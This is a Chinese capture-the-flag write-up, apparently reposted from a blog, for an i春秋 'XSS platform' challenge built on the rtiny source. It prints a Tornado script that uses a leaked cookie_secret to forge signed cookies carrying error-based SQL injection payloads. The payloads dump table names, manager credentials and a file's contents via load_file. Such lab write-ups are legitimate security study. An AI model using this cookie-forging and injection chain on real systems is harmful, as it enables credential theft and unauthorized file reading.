i春秋xss平台

点开是个普普通通的登录窗口,没有注册,只有登录,抓住包也没获取什么有用的信息,看了看dalaowp才知道怎么做,首先抓包然后修改参数的定义来让其报错,pass原本的应该为整数,pass[]=就可以让其定义成数组变量,造成报错

爆出一条文件路径

直接访问试试

什么鬼。。。。看来没什么东西

找到关键字rtiny

github搜一下

 

联想题目是xss平台,可能有关,点进去看看

有许许多多的py文件

一一查看就会发现在lock.py中就会有sql注入的点

不过其username是经过函数self.get_secure_cookie的,这里又是组合的一套代码,所以我们直接去找找看其他文件,看有没有定义self.get_secure_cookie函数的

最终在index.py中找到cookie加密钥匙

根据这个密钥写出我们的cookie_secret加密函数

 

# coding:utf-8
import tornado.ioloop
import tornado.web 
# @author: V0W
# @reference: https://blog.csdn.net/include_heqile/article/details/82591707

settings = { 
   "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
        self.set_secure_cookie("username""' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
        self.write(self.get_secure_cookie("username"))

def make_app():
    return tornado.web.Application([
        (r"/index", MainHandler),
        ], **settings)

if __name__ == "__main__":
    app = make_app()
    app.listen(8089)
    tornado.ioloop.IOLoop.instance().start()

 

(这个py程序需要安装pytornado.ioloop,安装指令python -m pip install tornado)然后运行此py程序后不会有回显,需要保持py运行然后去访问本地网页127.0.0.1:8089/index(监听的哪个端口就跟哪个端口就行了,这里是8089)

再查看网页cookie中的username值就是cookie_secret加密过后的值。

将其通过bp进行注入即可得到usernamepassword,再登录xss平台得到提示flagf13g_ls_here.txt(期间注释的5句就是依次的爆版本,爆表名,爆列名,爆用户名和密码,爆文件内容)再爆文件就是flag了,由于这里做了长度限制,所以flag需要分两步爆出来

 

 

 

 

 

 

 

原文地址:https://www.cnblogs.com/wosun/p/11675151.html